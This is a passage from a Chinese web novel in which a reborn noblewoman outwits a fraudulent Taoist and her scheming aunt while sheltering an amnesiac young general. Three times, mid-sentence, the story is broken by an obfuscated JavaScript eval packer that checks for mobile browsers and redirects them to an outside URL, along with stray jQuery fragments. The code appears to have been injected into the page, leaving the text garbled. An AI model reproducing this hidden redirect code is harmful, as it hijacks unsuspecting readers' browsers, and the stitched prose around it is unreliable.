往常裴允晏穿深色衣服,总给人感觉压迫感很重,肃杀气简直要冲出身体。如今身上这件素色衣裳,倒显得他有几分儒雅书生气。
果然少年人穿什么都好看极了。
温云琛又朝外面看了看:“沉墨呢?你要守夜,她怎么不拦你?”
“噢,晚上我和她一起守来着,天亮之后她说要盯着什么道人,就把斗篷给了我,让我等你起床,”说着,裴允晏又退到房间外,背过身,“淑女梳妆吧,我不看。”
还挺乖。
温云琛轻轻笑了声,随后回到床前梳妆起来。
片刻后,沉墨回来了:“女公子,梁道人并无异常。”
“好,”温云琛戴上最后一枚珠花,站了起来,“我们这就去见见他。”
临安祠并不算大,这里的大多数道人都是招摇撞骗的方士,有真有假,有些说准的事物较多,就会被称为“道人”,实际上是不是有真本事也没人知道。
不过愿意收钱来说些什么的,大多都是骗子。
梁道人还在自己院中画符箓,都是为几日后的一场法事,只要能成,他事后就能拿到这辈子招摇撞骗都拿不到的银两……
忽然,院中有人走进来,梁道人连忙收了手上的动作,走到屋外,朝走来的两女一男行礼。
为首的女娘戴着面纱,看不清容貌,发髻上一支丁香珠花格外显眼,看气度打扮也是家世显赫的贵女。
后面冷脸那位应该是侍女,那男子……气度很是不凡,只是衣着普通,让人摸不准身份。
“这位女公子,”梁道人赔笑道,“可是来临安祠参拜的?参拜处在北院,女公子可是走错了地方?”
“啊,多谢道人,”温云琛施施然一行礼,扶了扶头上珠花,“我确实要去参拜一二,不过也要来见见您。”
梁道人笑道:“小道何德何能让女公子亲自来见呢……”
“梁道人不知我是谁吗?”
温云琛眨了眨眼睛:“我是汾武侯府,温氏的女公子,家母说过几日您要来家中做一场法事,所以特来见见您,之后到府上,您不就有认识的人了?”
哦?温氏的女公子来了?
梁道人立刻打起了十二分的精神,他知道与他交易的是温氏二房的夫人,也知道温氏有两名女公子,听她这么说,难道她就是二房的女公子?
为保万全,梁道人继续问:“确实确实,敢问女公子,可信鬼神?”
“信,当然信,”温云琛连忙说着,一副生怕鬼神不高兴的样子,双手合十朝四方拜了拜,“梁道人怎出此言?若不信,我家阿母怎会请您去主持法事呢?”
阿母是温家主母,虽然法事是由二叔母提出,但最后都要阿母审批,也算是阿母请来的。
温云琛不觉得自己说错。
这就对了,这个一定是二房的女儿,温氏的大娘子温夕玉。
梁道人记得,先前温仲夫人说,温二娘子和她阿父一样,都不喜鬼神,面前这女公子会这样说,一定就是另外那位大娘子了。
他不禁内心感慨,之前和温仲夫人商量时,虽然说好以那味药材分辨两位女公子,但总是有风险,如今亲眼见到温大娘子,那到时候他只需要拿剑刺向另一位的脸就好。
梁道人连忙笑着作揖:“噢~对对对,还是仲夫人和女公子想得周到,如此一来,小道必定在法事上全力而行……只是不如让小道仔细看看女公子的模样,更方便分辨……”
说着,他就要上手去摘温云琛的面纱,却在手还没能碰到面纱角时被人一把抓住。
裴允晏冷了脸:“你太放肆了。”
说着,将梁道人狠狠甩到后面:“未出阁的淑女,岂是你能轻易看样貌的?”
温云琛皮笑肉不笑地行了一礼:“梁道人莫怪,这是新来的侍卫,不懂规矩,但也说得在理。小女回去会好好管教的。”
梁道人摸着自己险些脱臼的手腕,也只敢赔笑:“哪里哪里……女公子多些戒备可以理解,可以理解……”
温云琛朝沉墨使了个眼神,后者便将一小袋银子塞进梁道人手中:“万分抱歉,这些银两就当是道人的诊金。”
梁道人掂了掂重量,笑得开怀:“那便多谢女公子了。”
出手这样阔绰,一看就是温仲夫人亲女。
眼见鱼儿上钩,温云琛也不再多做停留,扶了扶珠花,道别后便朝北院走去。
接下来只需要把那味药材搞定即可。
她可从没说自己是温大娘子温夕玉,每一句都是作为温二娘子来说的,只是每句意思都可做两种理解,梁道人理解错可怪不得她。
此时正是一天中香火最旺的时候,温云琛衣裙素淡,即便戴着面纱也不免让周围人多看几眼。
温云琛已经许久没感受过这样的感觉,旁人看自己的眼神不再是鄙夷、嫌弃、嘲讽,她不用再留在暗无天日的小院里,不用再与家人生离死别,一切都是最好的模样。
不久之后,她还会让所有欺负过她的人、害过温氏的人一点一点偿还回来。
雨后的空气中带着潮湿,阳光照耀下的温暖让人格外贪婪地想要汲取,伴着厚重的檀香,似乎坠在松云间般。
温云琛小心地跪在蒲团上,双手合十,心中默默念道:不知是哪位神仙助小女重归红尘,万分感谢,往后还请神明多多保佑,保我大仇得报,护我家平安无恙。
正要睁眼,眼前却突然闪过一个人影,温云琛不免心头一颤,于是又念:另外,请保佑裴允晏,此生平安喜乐,无忧无恙,亦无惧。
这次算是又还了愿又许了愿,温云琛睁开眼眸朝后看去,就见裴允晏正站在一株丁香花树下,前一刻还在小心嗅花香,后一刻见温云琛起身,立刻就笑着朝她走来。
沐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583742|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浴在阳光下的少年郎,很难不让人恍惚间心动啊。
温云琛感到自己心跳得似乎快了些。
“我看这里丁香开得很好,就摘了几串,”裴允晏说着,一直背在身后的手拿到前面,手中赫然是一个小巧的丁香花环,“不知道你喜不喜欢,时间也不够,就只做了个小的。”
温云琛哭笑不得,接过小花环:“这能戴在哪里?怕是只能挂在发髻尾巴上。”
说着,她便在裴允晏期待的目光下把青丝拨到胸前,将花环圈在了发尾玉环上。
“好看……”裴允晏喃喃了一句,自己倒先害羞了,挠挠头,“我之后给你编个大的。”
温云琛歪歪头:“可是花很快就枯了,什么都留不下来。”
“唔……那我可以一直给你编新的,春天编丁香,夏天编蔷薇,秋天编海棠,冬天编腊梅,”裴允晏眼神真挚,格外明亮,“我可以给你编一辈子花环啊。”
“……”
温云琛哑然。
原来他的情谊,竟然可以这样热烈。
她从来不知道有人的情谊可以这样热烈如火般,风吹便起,咆哮着喧闹着滚滚而来,任凭大雨浇灌都浇不灭。
“少将军说傻话了,”怔了许久,温云琛还是错开视线,礼貌地笑笑,“这话听着像玩笑……我若是一年四季戴花环,岂不是蜂啊蝶啊都往我身上蹭?”
裴允晏心想也是,但还是嬉笑着说:“我不开玩笑,我说话一直很认真的。”
怕他一直说这个过不去,温云琛转移了话题,问:“你不去拜一拜吗?”
“拜那些干什么?”裴允晏不屑道,“我从不信鬼神,往常那么多人都信,也不见得个个都飞上枝头。”
温云琛解释:“只是一种寄托嘛……从前我也不信,不过现在,我有些信了,信的是命运可改。”
“是吗?”裴允晏半信半疑,转过身,干脆闭上双眼双手合十,片刻后睁开一只眼睛,狡黠地看向温云琛,“我许完了,若这个能实现,我以后也信。”
温云琛好奇了,问道:“你还会有愿望?早日恢复记忆?国泰民安?再无战乱?逢战必胜?”
她一连猜了好几个,倒是把裴允晏逗得笑出了声:“都不是,这个可不能告诉淑女,不是说,愿望说出来就不灵了吗?”
“那好吧,等你实现了要来还愿,记得喊我一起,”温云琛抬头笑了笑,“说不定那个时候,我的愿望也都实现了。”
——
在临安祠逗留到下午,温云琛一行才启程回府,为了不引人注意,温云琛让裴允晏上车与她同行。
沉墨又好几次欲言又止,但看自家女公子似乎乐在其中的样子,还是放弃了。
“就算是我的近身侍卫,也少不了抛头露面,”温云琛撑着下巴,盯着裴允晏思索,“但你这张脸很多人认识,而且我在外面一叫你名字,所有人都会知道你是谁了。”
“淑女说得是,”裴允晏学着她的样子,也撑起下巴,与她对视,“那不然,淑女给我起个名字?我出门时再稍作伪装,戴个面具什么的,问题便迎刃而解。”
沉吟片刻,温云琛答应下来:“面具我知道去哪里买,这就带你去……”
从前毁容之后,她最常去的便是卖面具的一家小铺,什么夸张的、日常如人皮的,她都用过。
至于名字嘛……
她歪歪头,盯着裴允晏,心中有了一个绝妙的想法,旋即笑道:“我想到了,我就叫你——阿熠。”
5. 阿熠
“阿熠……”
裴允晏重复了一遍,没想出什么名堂,虚心问道:“有什么说法吗?”
“熠,本意光耀鲜明,携火而来,”温云琛欣然抚掌,十分满意,“与你再适配不过了。”
几乎是她第一次见到裴允晏时的写照。
那时的他在火光照耀下,几乎是她眼中最明亮的存在。
裴允晏兀自反应了一会儿,眸光倏地明亮起来。
她的意思……她的意思是……
自己是她的光吗?!
温云琛还没看见,裴允晏在她没注意到的时候,眼神都要粘在她身上了,颇似痴汉。
马车在北街拐弯处一家不起眼的小铺前停下,周围两家灯笼铺几乎要把它的门脸遮住,若不是仔细看,是万万发现不了这地方的。
从前温云琛常在这里买面具,这掌柜似乎从来不怕自己没生意,也不吆喝宣传,缘来则赚,没缘喝稀饭。
“欢迎贵客光临。”
门被推开,掌柜立刻起身相迎:“不知这位女公子和……”他看到裴允晏,声音突然卡了一下,但很快还是恢复了笑脸,“公子,想看些什么面具?”
“掌柜为我这名侍卫选些面具罢,”温云琛笑意温和道,“太好看了,得遮住些。”
裴允晏懂了,温云琛是想关起门来自己看。
听她叫裴允晏“侍卫”,掌柜眼底划过异样的光彩,随后呵呵一笑,转过身从柜台里翻翻找找,最终拿出一张黑铁面具,恭敬地放在裴允晏面前。
“公子可看看这张,花纹繁复,是小店新收来的货品,戴上保准让别人看不出原本样子。”
这面具几乎遮住了整个上半张脸,上面花纹似鸟非鸟,似兽非兽。裴允晏看着倒是新鲜,拿起来往自己脸上一扣,转向温云琛:“淑女,我这样可还好看?”
“好看,”温云琛真心夸赞,“哪怕只有半张脸,阿熠还是如此夺目。”
不知是不是面具半遮颜的作用,这么若隐若现地看着裴允晏的五官,更有一种神秘危险的吸引力。
掌柜心中正盘算着什么,就听温云琛说:“就这个了。”
沉墨心领神会地递上银两。
“哎,好,”掌柜哈着腰笑脸道,“贵客慢走,有需要再来。”
等看着马车走远,掌柜便收了笑脸,悄悄关了店面,从无人注意的后门溜走,无声息地抄了一条小道,朝太尉府而去。
——
“你可看的清楚?确定又是温家?”
“属下确定没有看错,”面具铺掌柜恭敬地跪在裴太尉面前回话,“京城中的贵人,属下绝大部分都认得脸,虽然温家二娘子不常出门,但属下确定少将军身边的就是她。”
顿了片刻,掌柜又不确定道:“但温二娘子称呼少将军为‘阿熠’,属下不知是……”
端坐着的裴太尉终于睁开眼睛,眼底却满是不解。
温家和叛党有关系吗?阿晏怎么跟在温二娘子身边?怎么还叫了另外一个名字?听着还挺亲密……
他们之前并未调查过温家,难道此番北上阿晏还查出了和温家有关的事,这才……
那也不用亲自去做暗桩吧?
“还有一事,属下觉得当讲。”
“说。”
“少将军和温二娘子……好像关系颇为熟悉亲密。”
纵横沙场的老将脸上终于出现了裂痕,他不可置信地重复了一遍:“颇为亲密??”
声音还有点劈叉。
掌柜:“……昂。”
裴太尉立刻站起来,掌柜瞬间低下了头,就在他以为主子要发怒时,就听见裴太尉十分欣慰地大笑两声。
“哈哈哈哈哈……太好了,我以为这小子冷面冷心,没想到被温二娘子收了,”裴太尉左手手背往右手手心一拍,道,“哎呀,就是不确定这小子到温家究竟是做什么的,若温家底细不好……”
说着,裴太尉便脑补了一番温家同为叛党,但温二娘子却与自己儿子情定三生,裴允晏不得已灭了温家,最后自己也死在温二娘子尸身前的可怕故事。
不行不行不行。
裴太尉立刻把这恐怖话本甩出脑海,指着面具铺掌柜道:“你,去吩咐底下几个暗卫,这几日别盯着叛党余孽了,去盯着温家,尤其是少将军与温二娘子,把温家底细摸得清清楚楚,连他家祖坟在哪都得弄清楚。”
掌柜心中天将降大任的感觉油然而生,立刻答应:“是!”
怕不是温家是块难啃的骨头,主上对他委以重任啊!
裴太尉啧了声,还是按不住心中喜悦。
若温家底细真清清白白,那便能和夫人说说,早日为阿晏准备彩礼了……
——
温府门口,温云琛的马车终于停下。
浮白正等在门口等着接他家女公子,就见一个陌生的俊美男子先从车中出来。
浮白瞬间收了笑容。
这谁?
虽然戴着面具,但看着气度很是不凡,像谁家的公子哥。
裴允晏很快下车站定,朝车上人伸出手去,似在迎接。
温云琛怔了一下,随后面不改色地蜻蜓点水般扶上他的小臂,错开了温热的手掌,很快朝浮白走去。
裴允晏搓了搓手,啧了声。
难道他太唐突了?他们关系还没好到这个份上吗?
是了,虽说是天赐的良缘,但也才刚认识两日。
也罢也罢,往后时间长着呢。
浮白担心地看了眼戴着黑铁面具的男子,小声问:“女公子,这是谁啊?”
不知道为什么,她总觉得自从温云琛下马车后,周围温度低了些,让人发毛。
“是我新收的侍卫,叫阿熠,”温云琛觉得这事还是越少人知道越好,所以没打算说实话,“又能打又养眼,只是最近受伤了,需要多修养。”
浮白没反应过来受伤了是怎么看出能打的,只是懵懵地“哦”了声。
“我记得我院中西小阁还空着,收拾收拾给他住。”
西小阁虽然和她的卧房比起来简陋一些,但好歹和她的卧房隔着几条暖廊,又不至于出了她院子,是她能安排到的离她最近又符合礼数的地方了。
她喜欢清净,院中下人不多,西小阁更没人去,裴允晏在那,几乎不会被人发现。
阿父如今还在战场,家中虽说是由阿母做主,但阿母性格优柔寡断,若把裴允晏的身份告诉她,她怕是表情藏不住事,容易叫二房察觉。
到时候给她和裴允晏安上一个私相授受的名头,倒不好解释,还因为家中烂人连累了裴允晏。
她还记得自己捡裴允晏的初衷是要报恩的,不是给他惹麻烦。
浮白却一脸惊讶,声音都险些没收住:“女公子,那只是个侍卫!您竟然让他住咱们院子啊?”
“近身侍卫嘛,要近一点的,”温云琛知道浮白这是有点吃醋了,毕竟西小阁比她和沉墨住的房间精致,“他脾气也不好,非池中之物,可得供着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583743|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢。”
浮白小心地扭过头看了一眼,就见那裴允晏冷着脸,不动声色地看着周围事物,和她对视时,竟有一种凉意从头窜到脚。
浮白打了一个寒颤,心说果然脾气不好。
可是刚才准备接她家女公子下来的时候明明是笑着的呀……
回府第一件事,温云琛便去见了阿母,温仲夫人听说温云琛回来,也是连忙去主屋相见,眼中冒精光:“阿琛觉得如何?那临安祠看着可大气庄重?”
“确实如此,”温云琛乖巧点头,顺着温仲夫人的话,“女儿替阿母看过了,临安祠香火鼎盛,京城不少贵人都去参拜,可见是值得信任的,二叔母所说的法事,不如尽快办了吧?再过一些时日,阿父便要回来了。”
听她这么说,温母正准备松口,就听门外有一声音传来:“不行!”
温云琛转头看去,赫然是自己的兄长温舟璟。
温家两兄弟都不曾纳妾,长房的子嗣便是温舟璟和她,二房只有温夕玉。
作为温家唯一的嫡子,这偌大家业定是会交到温舟璟手上的,前世二房正是惧着这点,才将阿兄毒死。
与阿父温绍不同,温舟璟并不习武,而是整日念书,都快念疯了,就想着有朝一日被举荐进御史台去。
武将在战场上以命赚功名,不信求神拜佛还能理解,文士——尤其像温舟璟这样快疯了的读书人,应该很信鬼神才对,怎么还“不行”了?
“阿璟,”温母欣喜地朝他招招手,“你何时从学堂回来了?”
“二叔母说家中将有法事,差人将儿叫了回来,”温舟璟面上没什么表情,一副学麻了的样子,朝温母一作揖,“阿母,这法事不能办。”
“为何?”
“儿去年便在临安祠求今年被召进御史台,如今并没有,可见并不可信。”
……怎么是因为这个?
温云琛扶额,把温舟璟拉到一边:“阿兄啊,你来……今年还没过完呢,你不能这么想。”
温舟璟瞥她一眼:“妹妹,为兄前年也是这么求的。”
温云琛:“……”
不能让他毁了自己的谋划!
不过相比起她,温仲夫人显得更着急,连忙说和道:“阿璟说笑了,这拜神仙可大有讲究,说不定是你沐浴焚香哪一步出错了,这才不成……对了,我找的那位道人啊,给了府上一些汤药,接连三日每日一碗,这才能做成法事。”
温舟璟不解:“还有这说法?二叔母莫不是诓我?”
“怎能呢,”说着,温仲夫人便让侍女端来了一碗,“这汤药我也找城中大夫看过了,安全得很,没毒。”
语毕,她自己先喝完了那一碗,擦擦嘴角:“看嘛,没事的。”
温云琛似乎想到了什么,目光一凛。
就是这汤药!
上一次,温云琛并无多想,如常喝了二房送来的汤药。在法事上,那梁道人带来三条蛇,毫不犹豫地就朝她游来,随后那梁道人便朝她脸上刺了一剑。
仔细想想,自己平日用的熏香从来不招蛇虫鼠蚁,那几日与平时唯一不同的便只有二房送来的药,她们八成就是在汤药中动了手脚,让她和其他人喝的不一样。
怪不得梁道人不用见温夕玉便能顺利区分出她们二人,原来是靠这个。
盯着那空了的药碗,温云琛心中嗤笑,盈盈一拜:“那便请二叔母差人将汤药分发下来吧,众人好提早准备。”
这场法事,可有的看呢。
6. 药材
温云琛没有直接回到自己住处,而是一路跟着温舟璟。
温舟璟觉得奇怪:“妹妹,做什么?”
“想去阿兄那坐一会儿。”
这是重生后第一次见到阿兄,温云琛总觉得,上一次见他已经是几十年前的事了,但掰着指头数,也不过是三年。
他一点没变,面上还是一副要“以理服人”的模样。
温舟璟觉得稀奇,木着一张脸:“你不是总觉得我院子里被书卷腌入味了,一股竹简味,从来不愿去?”
“哪就这么夸张,”温云琛笑着追上阿兄的脚步,“阿兄可以与我讲学堂的事,那些有趣的事我爱听。”
其实并不全然是为了和阿兄多呆一会儿,温云琛更想弄清楚,她那份药水里有什么不同。
温云琛自觉性情冷淡,不怎么爱与人说话,但温舟璟却有过之而无不及,他的住处几乎是整个温府最偏的地方了。
院落中种着一小片竹子,温舟璟还曾说等温云琛出嫁时,若她夫家欺负她,他便砍了竹子去追着人家打。
如今正是好时节,竹影摇曳,翠绿养眼,悠然清雅的竹香几乎弥漫了整个院子。
温云琛从没觉得这味道这么好闻过。
“对了,”温舟璟突然开口,像是思虑很久般纠结道,“你与杨氏,一定要履行婚约么?”
温氏嫡女与杨氏嫡子自幼便有婚约,是两家更早一辈的长辈定下的,算是世家联姻,但两家交情并不算多。
温氏这边人选是她,杨氏那边的人选,则是嫡次子杨夷。
此人在外界传言中一直是温文尔雅知礼数的翩翩公子,上一世他与温夕玉成亲后,内里暴戾好色的一面才展现出来,可谓败絮其中。
只是他从前与温夕玉各取所需,不见得有真情意。如今温云琛不会再让自己毁容,婚约便还在她身上,但她必然不会嫁给这般牲口。
从前阿母便死在杨夷和温夕玉手上,她怎会让杨氏好过?
不过如今杨夷在外人眼中应该伪装得极好,温舟璟又何出此言?
似乎想到了什么,温云琛问:“阿兄是否发现了什么?”
温舟璟看着她,许久才开口:“你应该知晓,我与杨夷是同窗。”
“嗯。”
“前日,我遵夫子之命找他,却发现他在青楼之中,”温舟璟说着,暗暗握紧拳头,“被发现后,他还意图贿赂我,让我不将此事说出去。”
噢,原来是狐狸尾巴被阿兄发现了。
“妹妹,此人绝非良人。”
温云琛:“他自然不是,我也不会嫁他。只是如今若我们温家主动提出退亲,总是不占理,会被人说闲话。若要退亲,总得先找到他们的错处才好。”
温舟璟瞬间心疼起来,他这个妹妹,都到这种时候了,第一先想到的竟然是家中声誉,反倒委屈自己……
“公子……二娘子也在啊。”
一名婢女端着药汤,盈盈行礼:“仲夫人让我来给公子送药,只是二娘子的已经送到您院中去了。”
温云琛心下嘲讽一笑:“知道了,放下吧,我这就回去喝。”
等婢女退下后,温云琛拿起一旁茶壶,将那黑乎乎的药往杯中倒了半壶。
温舟璟不解:“这是做什么?”
“阿兄,子不语怪力乱神,那道人不可信,法事亦不可信,你是对的,”温云琛垂眸,慢慢盖上了茶壶盖子,“二叔母突然说起这么一回事,还让我们接连喝药三日。虽说怀疑家人不好,但妹妹心中还是多疑,想亲自去找郎中查验一番。”
温舟璟觉得有理,点点头:“那我也先不喝了,你快些查验完告诉我。”
“好,等我之后送阿兄一套新茶具。”
——
“这茶壶中的汤药并无甚异处,只是些清肺下火的药材,也无相克。”
为保万全,沉墨还是叫了上次那郎中来,依旧给了丰厚的诊金。
郎中接着又闻了闻另一碗刚送来不久的药水,微微蹙眉,接着手指蘸着尝了一些,表情更加迷惑:“这碗……比之茶壶这份,多了味药材,但恕在下才疏学浅,不认识这味药。”
温云琛有些惊讶:“您是京城资历很深的郎中了,竟也不认得吗?”
郎中略一思索,道:“不瞒女公子,在下医术乃是一位军医传授,恩师教我识得五湖四海的药材,唯有军中药材涉及机密,因我不愿随军便没有教。”
所以这味药是出自军中?
什么药还能涉及机密?
二房又是怎么弄到这药的?
温云琛顿时头大:“……请您先按照茶壶中的汤药配三副吧。”
不管怎么说,得先把眼下的事解决。
只是二房那边……似乎没她想的简单。
她们到底还与谁有联络?
——
天色渐暗,裴允晏百无聊赖地在屋中转来转去。
温云琛要他好好养伤,不许出门乱走,怕他再牵扯伤口,他倒是听话了,只是待在一直这里十分苦闷。
主要是没有温云琛陪着,就显得格外难熬。
此时的裴允晏没有笑,朗目剑眉,棱角分明的面庞透出冷淡,双手背在身后,身姿英挺,常在军中的阴暗杀伐气才一丝丝如侵略般透露出来,完全没了在温云琛面前时的热烈张扬。
此刻任谁来看一眼,都会被这煞神吓得从头凉到脚。
忽地,他抬起眸子,仿佛感知到什么,微微皱眉,极快地几步略到窗边,一把推开窗,另一手同时拿过桌上的水果刀,往窗外压去。
窗外黑影单膝跪地作揖,压着嗓音:“属下祁乌,见过少将军!”
裴允晏没有收刀,面目冷峻,居高临下地看着他:“我不认识你。”
祁乌惊讶抬头,又很快低下:“属下一路追寻少将军留下的记号,追到京郊便不见踪影,后才知道您栖身于温府中,不知少将军有何指令,可是温府不妥?为何说这话?”
许久,仍不见裴允晏说话,也没有离开的意思,只是盯着祁乌。祁乌感受着头顶那双目光,心里发毛,想到平日裴允晏在军中何等严格,背后冷汗直冒。
他本留在军中等裴允晏信号,却迟迟没有等到,便擅作主张一路追来。
严格来讲,他算私自离军出逃。
半晌,祁乌终于鼓起勇气准备自觉领罚,刚抬起头,就听他家少将军不耐烦地说:“叽里咕噜说了一堆啥,我失忆了。”
说完就冷漠地关上了窗,让祁乌一人在风中凌乱。
少将军失了记忆,少将军不认识他,少将军寄宿温家。
祁乌:“……”
祁乌要疯了。
他猛地站起来一把打开窗,声音劈了叉:“少将军您怎么了?怎么就失忆了?那我们赶紧回府啊在这儿干啥??”
裴允晏瞪他一眼:“别管我,本将军有自己的打算。”
祁乌反应了一会儿,结合自己一下午在温府的观察,恍然大悟,得出了一个结论——
少将军莫不是看上温家女娘了?!
他住在温二娘子的院子里,那这女娘便是温二娘子?!
祁乌瞬间心领神会。他这一路回来,发现之前探查到的几处前朝叛党据点已经被裴允晏处理得差不多了,说实话,如今他家少将军除了等大军班师回朝,似乎也没什么别的事。
若是趁这段时间能帮少将军追到少夫人,那岂不是不虚此行?
作为一个合格的陪嫁……不是,合格的侍卫以及副手,祁乌自觉地找到了活干——
保护少将军与少夫人,不能让他们受到一点伤害!
祁乌关上了窗,自觉爬到西小阁屋后枝叶茂盛的大树上,藏匿起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583744|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
裴允晏还在屋中踱步,不知为何,听完祁乌的话,心中总觉烦躁。
片刻后,才意识到这烦躁的来源——他只是暂时失忆,暂时住在这里,等恢复记忆后,他便要走,也许得回到军中,不能常见到温云琛。
只是这么一想,思念便足以让他郁结。
说来奇怪,他就只见了温云琛一面,心中的欢喜便按捺不住,似乎沉寂了许久终于爆发似的。
或许他们真的有缘呢?前世修来的。
正想着,房门突然被敲响,裴允晏冷着脸朝外看去,在认出外面影影绰绰的影子后,脸上便不自觉浮起笑容,连忙去开门。
门外正是温云琛,手中提着一个食盒,举起来笑了笑:“今日匆忙归家,事多,还没来得及看你……阿熠伤势如何,这房间可还合心意?”
自己是滴水之恩涌泉相报的性格,更何况如今作为主家,温云琛觉得自己很有必要多照顾裴允晏一些。
而且他还是个伤员。
不知怎的,温云琛叫他“阿熠”时,两个字轻轻地钻进耳朵,就像猫儿拱着头轻轻蹭了蹭心口似的,惹得一阵痒。
“我……习惯!都好,这里什么都好!”
一时间,裴允晏人都结巴起来,不好意思地红了耳尖:“你还亲自来看我,我更开心了……这些是你亲手做的么?”
温云琛将饭菜端出食盒的手一顿,有些心虚:“这倒不是,只是府中厨房所做,我并不会烹饪。”
上一世家世显赫时自然不用她进庖厨,后来被软禁,有口吃的就不错了,自己最多会生个火,把凉了的食物热热,哪还有亲手做菜的机会。
“噢噢,没关系,你亲自带来的我也喜欢。”裴允晏说着,满心欢喜地坐了下来。
温云琛坐在一边,安顿道:“郎中说了,你这伤彻底痊愈起码要半个月,你就在此处好好养伤,不要伤筋动骨。每日的药会由沉墨煎好送来,要趁热喝。”
裴允晏刚点了头便反应过来什么,吞下口中的饭问:“怎么是她来,你不来吗?”
“嗯?”
从来没听过这种要求,温云琛愣了一下,随后哭笑不得:“只是送药而已,我来有什么用,药会变好喝么?”
“会的!”裴允晏一本正经地说,“淑女不来,那药太苦,我不想喝可就偷偷倒掉了,得你来监督我。”
怎么一把年纪孩子气?
温云琛无奈,还是心软答应下来:“好,那我来送,给你带饴糖,可就不许嫌药苦了。”
裴允晏勾勾唇角,嗅了嗅空气中的味道,又问:“淑女身体不舒服吗?怎么也喝药。”
“没有,”温云琛狐疑地闻了闻衣袖,并没闻到药味,“只是有碗药送来我面前过,这都闻得到?”
“淑女没喝吧?”
“未曾。”
“那便好,”裴允晏松了口气,“我闻到那药味里有蛇九的味道,隐约记得是军中药材,招蛇虫鼠蚁,尤其蛇类对此味道敏感,有些战术用得上。你若喝了,这味道没三日散不掉,女娘家招蛇多危险……哪来的庸医竟然给你送这药?”
原来是叫蛇九……没想到裴允晏还能记得,而且竟然能闻出来。
只是不知道它如此厉害,幸好还没喝。
“没什么,是家中的事情,”温云琛有意不让裴允晏知道这些麻烦事,也没准备说,含糊两句站起身,“你休息吧,我还有些事情,先走了。”
淑女已然走远,裴允晏却皱起眉。
军中的危险东西,怎会出现在温家,出现在温云琛的药中?
窗户边被扣了扣,紧接着传来祁乌的声音:“少将军,据属下今日所查,药是温家二房送来的。”
裴允晏目光冷了下来,摩挲着手中瓷杯,嗓音冷淡。
“既然二房觉得是好东西,那便从哪来回哪去罢。”
7. 报应
三日很快过去,几位温府主家都在柳氏的指示下沐浴喝药,为的只是迎接今日的法事。
法事安排在了正午,据梁道人所说,正午阳气最重,宜驱邪。
温云琛听过之后便笑了。
浮白直觉那是嘲笑。
就连她都知道,正午温度最高,有什么气味都会散得更明显,放大数倍。
生怕那些蛇闻不到似的。
自从听她家女公子说了柳氏的算计之后,浮白便看柳氏和温夕玉越来越不顺眼,每日送来的药更是刚进院子就被她连汤带碗悄悄从后门扔了出去,生怕她们院子里沾上一点味道。
女公子不让她主动害人,只说让她看着二房自食恶果。
要不是女公子心善,她早就悄悄把药倒在二房院子里了,给她们也腌腌味儿。
浮白想着,瘪着嘴,给温云琛绾发。
“女公子要不要穿得鲜艳些?不是说要看她们自食恶果,穿着光彩些好。”
“不,我穿那日去临安祠的衣裳,”温云琛说,“发髻和钗环也要一样的。”
怕那梁道人眼神不好,多给他些提示。
浮白不懂,但还是乖乖取来了那身青碧色的衣裙。
温云琛戴好了那支丁香珠花,扶了扶,确保和那日一样显眼,这才满意。
一低下头,便看见妆奁左下角的抽屉正开着,里面还有一个小巧的锦盒。
温云琛将它拿出来打开,里面放着的正是那日裴允晏送她的丁香花环。
还有些香气,只是花儿已经枯了。
“女公子怎么对这花环如此上心?”浮白贴心地想了个主意,“若实在喜欢,不如奴婢将它晒干,找匠人镶在琉璃夹层中,好保存下来。”
温云琛眼神一亮:“此计甚好,就交给你了!我便知道我们浮白最是心思玲珑。”
浮白被夸高兴了,嘿嘿一笑。
温云琛看着铜镜中清丽出尘的面庞,没忍住勾了唇角。
不知道温夕玉今日是不是也好好照了镜子,是否好好记住了自己未曾毁去的脸?
甫一打开门,一张明媚的笑脸便映入眼帘。裴允晏戴了面具,笑嘻嘻地问早:“淑女早啊。”
温云琛没料到他等在这里,上下打量一番:“阿熠要出门吗?”
“不是,听闻今日府中有法事,我觉得应该保护在淑女身侧,”裴允晏挺直身板,“这不就是近身侍卫的职责嘛。”
浮白先不乐意了:“你一个侍卫,怎么总叫我们女公子‘淑女’,听着怪怪的。”
有些轻浮。
裴允晏嘟囔:“我觉着更亲近些……”
旁人称温云琛都是“女公子”“温二娘子”,他叫个不一样的,不就能凸显他的不同了吗?
真是,他怎能与其他俗人一样呢。
“好啦,不是什么问题,合礼数的,”温云琛哄了浮白几句,“就让阿熠和沉墨与我一起吧,那日去临安祠也是这般,梁道人认得我。”
裴允晏跟在了她身后,不动声色朝祁乌所在的位置瞥了一眼。
他这个属下,办事倒是利索。
姑且同意他留下吧。
——
